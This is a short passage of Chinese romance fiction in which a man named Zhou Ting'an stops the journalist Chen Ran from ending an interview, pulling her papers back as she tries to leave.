他的视线如同一张网一样将她层层笼罩,并且严丝合缝,密不透气。
原本得当的工作氛围就这样被彻底打破,陈染努力从中撕开一条缝隙,来让自己勉强呼吸,抬眼看过他问:“什么?”
“因为是你。”
陈染闻言手不由自主的在桌面上缩了一下,发出轻微指尖划动桌面的响动,接下来的那点收尾工作她此刻不准备做了,像是有某种强烈的预感一样,身体比大脑更快速的做出反应,她手下摸索起资料,躲闪收回同他对视的眼睛,说:“不太明白您的意思。”
然后收拾起东西,准备结束采访走。
周庭安嘴角微提,像是一眼看破她意图,丢下手中钢笔,倾身过来,接着将陈染收在手边的资料,一点一点,慢条斯理的重新抽离。
态度显而易见。
他不同意。
她怎么能走得了?